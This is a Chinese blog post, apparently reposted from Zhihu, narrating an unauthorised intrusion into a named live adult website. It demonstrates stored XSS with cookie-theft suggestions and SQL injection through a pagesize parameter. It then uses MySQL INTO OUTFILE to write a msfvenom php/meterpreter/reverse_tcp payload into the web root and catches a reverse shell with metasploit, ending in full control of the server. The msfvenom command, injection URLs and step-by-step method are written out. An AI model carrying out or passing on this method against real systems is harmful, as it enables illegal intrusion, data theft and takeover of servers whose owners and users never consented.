一个小黄网的手动入侵过程

阅读 14794
收藏 619
2018-04-14
原文链接:zhuanlan.zhihu.com

最近看到一个小黄网,就顺手试了试,没花太多时间拿了下来,手工操作,假装站在网络安全的角度记录下此次拿站过程,高手请避免观看,小黄网没多少技术,雕虫小技不必耽误时间。

进入网站 http://www.tmlhub.com/beauty/download.html ,页面不多,一个主页提供app下载,一个反馈页面及留言板页面。

图中链接为真正下载页面链接,首页index页面虽然同此页面内容相同,却只是以iframe的方式载入此页面

拿站第一步是信息搜集:操作系统类型,什么数据库,服务器程序,后台语言。

可以看到,反馈页面为php文件,后台语言便确定为php,再构建一个目录链接,弹出apache错误,这是因为该目录下没有index页面,并且禁用了目录浏览。但是根据错误,可以确定服务器为apache,同时还能看到操作系统是Ubuntu。

运行在ubuntu上的Apache2

目前搜集到的信息汇集起来是,ubuntu(linux),apache,php,数据库未知。

先进入反馈写留言的页面www.tmlhub.com/beauty/wboa…,因为这是能看到的页面中唯一提供输入的地方,先在留言板构建一段js代码,测试是否有xss漏洞。

以上留言内容为javascript代码,表示弹出提示框,提示框内容为d

结果留言失败,可能有过滤关键字或特殊符号,使留言不通过,尝试替换script关键字,使之大小写混搭,尝试能否绕过,输入留言如下:

还是失败,继续尝试是否屏蔽掉了特殊符号</>,在留言输入</>

居然留言成功,如果这三个万恶之源都没有屏蔽和过滤,那么script当然就更不可能了。再查看在留言板的显示

可以看到这三个字符都没有显示,在浏览器中右键检查元素,可以看到留言内容为空,只有一串系统预设的空格,三个字符不翼而飞。

这很可能说明,三个字符并没有被浏览器默认为文本去显示,而是被当成关键字解析掉了,很明显,这里是存在这XSS漏洞的。同时说明<script>alert(‘xx’)</script>留言失败的问题很可能出在alert(‘xx’)这句中,这句有两个特殊字符,括号和单引号,先测试单引号,将单引号做转移字符\’,构造语句<script>alert(\’xx\’)</script>,结果留言成功了,如图所示:

将单引号转义后,留言成功

跳转到留言板时,弹出框:

这正是刚刚的留言,并且留言的JavaScript代码在浏览器得到执行。弹出提示框,内容为xx。

这里便确认了XSS漏洞的存在,至于为什么单引号会留言失败,必须转义,我的猜想是,php里构建留言sql语句类似为 “insert into table(xxx) values(‘$v’)”,试想,将'xx'带入$v变量,最终构造出的sql语句为 insert into table(xxx) values(' 'xx' '),单引号折断了sql语句的执行,所以出错。只能这么解释了,因为服务器压根就没有过滤任何字符。

这表示,任何人看到这条留言时,都会弹出这个提示框。如果留言内容改成<script>alert(\'document.cookie\')</script>,任何人看到这条内容,就会弹出cookie,如果管理员看见这条内容,就会弹出管理员账号的cookie,再如果,加两条语句,将cookie发送到指定地址或邮件,当管理员看到这条留言时,那他的账号已经是你的了。

整合一下目前的信息,apache,linux,php,XSS漏洞,数据库未知,以及没有任何字符过滤的XSS漏洞,可以大胆猜测数据库操作可能也没有过滤特殊字符,倘若真是这样,那么数据库注入就成为可能。

目前,对于数据库可以说一无所知,不知道类型,不知道表名,不知道表结构。即使想要盲注(blind injection),在留言板往数据库插入数据的逻辑中,也施展不开。

为了尝试搜集尽量多的信息,最好能得到数据库信息,我下载了这个美女APP,试图从app里获取数据库信息。

安装完成后,打开这个美女app,唔~yummy~

半小时后,我开始抓http包,最终只得到一个链接http://www.tmlhub.com/beauty/upda… ,内容如下图:

只有json数据,看来是配置app更新信息的,app会请求这个链接来获取版本数据,然后更新url提供的apk链接,如果我能更改服务器端的这个文件,就可以做到让app更新为我自己的任何应用。挺有空间的一个信息,然而,目前并没有什么用。

在显示给用户的页面中,还有个页面没有仔细研究过,那就是查看留言板页面http://www.tmlhub.com/beauty/boar…,可以预见,倘若有一天这网站人气一高,有着毫无保留的XSS漏洞的这个留言板得破坏多少人的信息安全。

打开页面,点击页码,会发现链接里多了两个参数, http://www.tmlhub.com/beauty/boar… ,根据名字和分页内容可以知道,page指定当前显示第几页,pagesize则指定每页显示留言条数。

一般来说服务器端对于分页,可能的做法有,查出所有内容放在缓存中,等页码和每页显示条数请求过来时,在php中计算当前页内容。这样就没有了sql注入的可能。

但如果对方对性能和安全考虑不周,就有可能采用另一种方式,每一次分页都通过数据库来操作,如果是这样,就有了盲注的可能性,先做点尝试。

尝试更改这两个参数的值,发现page的参数如何折腾都不会有什么变化,而pagesize参数却不同,有着明显的特征,如下:

在数字8后面加个单引号,即把pagesize=8 改为pagesize=8' 时,留言内容不再显示,

而加分号,即pagesize=8;时,却显示正常

在数字8后加字母时,比如改为pagesize=8k,显示再次出问题:

再尝试pagesize=8--,或者pagesize=8--;;;;;;;时,却可以正常显示,如图

反复尝试,最终得出结论,pagesize=数字;以及pagesize=数字--或者pagesize=数字--;;;的情况下,都可以正常显示,而当pagesize的值在其他不是纯数字的状况下,则会显示不出来。

之所以会测试分号与横杠,是因为如果pagesize被构造成sql语句,分号;和双横杠--都有特殊意义,分号会分割sql语句,使之成为两句sql,而双横杠--会注释sql语句后面的部分。

然而,不管出任何问题,页面上都没有给出任何提示,如果像一些网站直接把sql错误打印到前台,那对于入侵而言就相当甜蜜了。

尝试盲注一些常用语句构造,诸如pagesize=8 or 1=1之类的都不再能正常显示,这是当然得,因为可以预见,pagesize并不是作为查询条件,如果说猜测后台的sql语句结构,不应该是select * from xx where pagesize=8,因为pagesize不可能是作为字段存在于数据库中的,没有人会这样建表。那么类似的格式有可能是select *from xx limit inde,pagesize,从查询到的数据中第inde条开始选取pagesize条数据。

当然,这一切的猜测和测试都是建立在假设pagesize会被带入sql语句的情况下,而关于pagesize的信息,目前只知道加入特殊符号;和--会正常显示,其他都会出问题,这一点在一定程度上支持了pagesize会被带入sql语句的假设。因为一旦被带入进去,sql语句构造形如
select * from xx limit inde, pagesize; (;号表示截至)或者 select * from xx
limit inde, pagesize--(--表示后面的内容不运行,注释掉了)甚至 select * from xx limit inde,
pagesize--;;;;;;;;(注释掉后面的内容,再运行几个空语句) 这些在运行时,都是可行的。

要验证这条结论是否靠谱,最有效的办法是构造一个形如pagesize=8;insert
into table(xx) values(vvv)的语句,看链接执行后是否真的会插入数据,可惜目前没有任何关于数据库和表的信息。表名字段都不知道,所以只得继续摸黑找灯。

但是,至少,我们知道pagesize是被带入sql语句做查询这一点是极有可能的。

第二天,我聊胜于无的做了一个神棍操作,却幸运的被馅饼砸到。

潜意识里,我认为数据库是mysql的机会很大,因为php+apache+mysql的组合太常见了,那么into outfile(将查询到的数据输出到某个文件里)便可能有用,如果mysql版本在5.6及以下,那么intooutfile将会默认文件写入位置没有限制(mysql5.7需要手动设置写入目录无限制),就是说,如果网站目录具备写权限,那么可以通过数据库将木马写入到网站目录下,代替上传漏洞。

结合之前的信息,服务器为apache,系统linux,假设站长使用的是apache默认目录的话,linux下路径为/var/www/html,如果网站程序员足够懒,或者安全意识不强,而恰好这个目录又有写权限,说不定就可以正确执行,先测试试试,组装一个注入链接:

http://www.tmlhub.com/beauty/boar… into outfile ‘/var/www/html/bk.txt’

如果成功,bk.txt文件会被创建于/var/www/html/bk.txt,网站可通过http://www.tmlhub.com/bk.txt打开

执行后页面一如既往像哑巴一样没有反馈消息,再试试能否通过链接打开文件:http://www.tmlhub.com/bk.txt ,结果并没有这个文件,说明注入失败,文件并没有创建

文件没有被创建

本来几率就很低,跟预料的差不多,小黑屋里哪有那么容易找到灯。再随便试试beauty目录,通过留言板和下载页面的链接www.tmlhub.com/beauty/boar… 可以知道,在根目录下还有一个beauty目录,写入这个目录试试,再次构造链接:

http://www.tmlhub.com/beauty/boar… into outfile ‘/var/www/html/beauty/bk.txt’

执行后,尝试打开

Jesus christ!居然创建文件成功了,并且写入了该页的留言板数据。

终于打开了灯。

现在整合一下已有信息:apache,linux,php,mysql,outfile打开,网站目录为apache默认目录/var/www/html/beauty,并且此目录可写,通过留言板链接可以注入sql写入留言数据到文件。

思路已经很明朗了,我要做的,是将php木马内容写入留言,再通过留言板sql注入,将木马留言通过mysql写入到网站目录下,并生成.php的木马文件,在通过我的浏览器打开php木马页面,执行木马,然后就可以在本地控制这台主机。

生成PHP木马我借助的是kali Linux(一个linux系统,集成了很多黑客工具,包括需要用到的metasploit)系统中的msfvenom工具,打开虚拟机中的kali Linux

在终端中输入以下命令msfvenom –p php/meterpreter/reverse_tcp
LHOST=xxx.xxx.xxx.xxx LPORT=5542 -f raw >payload.php生成木马:

此命令中LHOST需要填入本机的公网IP(一定且必须是公网ip),LPORT 填入随意的端口,确保不被其他程序占用即可,运行完成后可以看到生成了一个payload.php的文件,这个文件就是木马。此地制作的这个木马文件并没有做任何编码防查杀,因为尝试后对方机器似乎并没有报毒处理,并且那些也不是此文的内容,打开文件,可以看到代码第一行有个注释符,需要手动删除

/*符号需要手动删除掉

并且在之前的留言过程中,了解到留言内容中有单引号是不能成功的,需要把单引号转义,所以将文件中的所有单引号'替换为\',替换结果如图

注意是文件中的所有单引号,此图只能看到两处

然后将代码内容复制,粘贴到留言板

发表后如下:

php代码被注释掉了,这可能是php环境下的保护行为,没关系,数据库中的数据是我们的原始代码

通过调整链接参数,使页面只显示刚刚上传的那条留言,接下来构造链接,把代码通过数据库写入文件,如图:

随后运行这个木马文件:

可以看到包含php代码的部分都不在页面内,只有php外的内容写出来了,这是因为理论上php代码已经在服务器主机上执行了,为了验证,需要在本地打开监听,看看木马是否连接了过来。

继续使用kali Linux系统,打开metasploit工具:

上图中Msfconsole命令是运行metasploit工具,以此输入下面两条命令建立监听,lhost设置为本机局域网ip,监听端口设置为木马里设定的5542,随后输入run,即可开始进行监听:

以上画面便卡住不动,会一直等待木马的主动连接

当网站主机运行php木马的时候,就会连接我们的机器,简单来说,木马是一个远程客户端,我们的本地监听则是服务器。

打开网站木马url,再次运行运行这个页面:

本地监听被连接,随后监听会自动打开了一个meterpreter:

刷新木马php页面,主动连接到本地监听,产生一个meterpreter

Meterpreter有很多命令,可以直接对主机做操作,比如上传下载截屏运行程序等,包括创建shell,windows主机可以一步一步打开远程桌面,这等于已经操控了这台机器,毕竟linux云主机的机主自己都是用shell来控制主机,以下是meterpreter命令列表:

已经拿下主机,宣告结束

这样就彻底的拿下了这个主机,有一点需要补充的是,像我这样做外网的监听,那么自己的网络必须是公网的ip,之前有一段时间,我这个电信的宽带,被悄悄改成了100.69开头的非公网ip,这样便无法被外部连接到,换句话说,是没法做服务器的,好在打了客服电话说监控系统没法用,要客服改成公网ip后,很快就解决了。

除了需要保证公网ip,还需要做端口映射,使光猫在固定端口上将获得的消息发送到局域网内的指定ip,蛋疼的事情是,光猫上普通用户登陆是没有端口映射功能的,这又得破解光猫的超级管理员账号,这些都是一个一个的坑,写下去又是一篇技术文章了。

评论

查看更多 >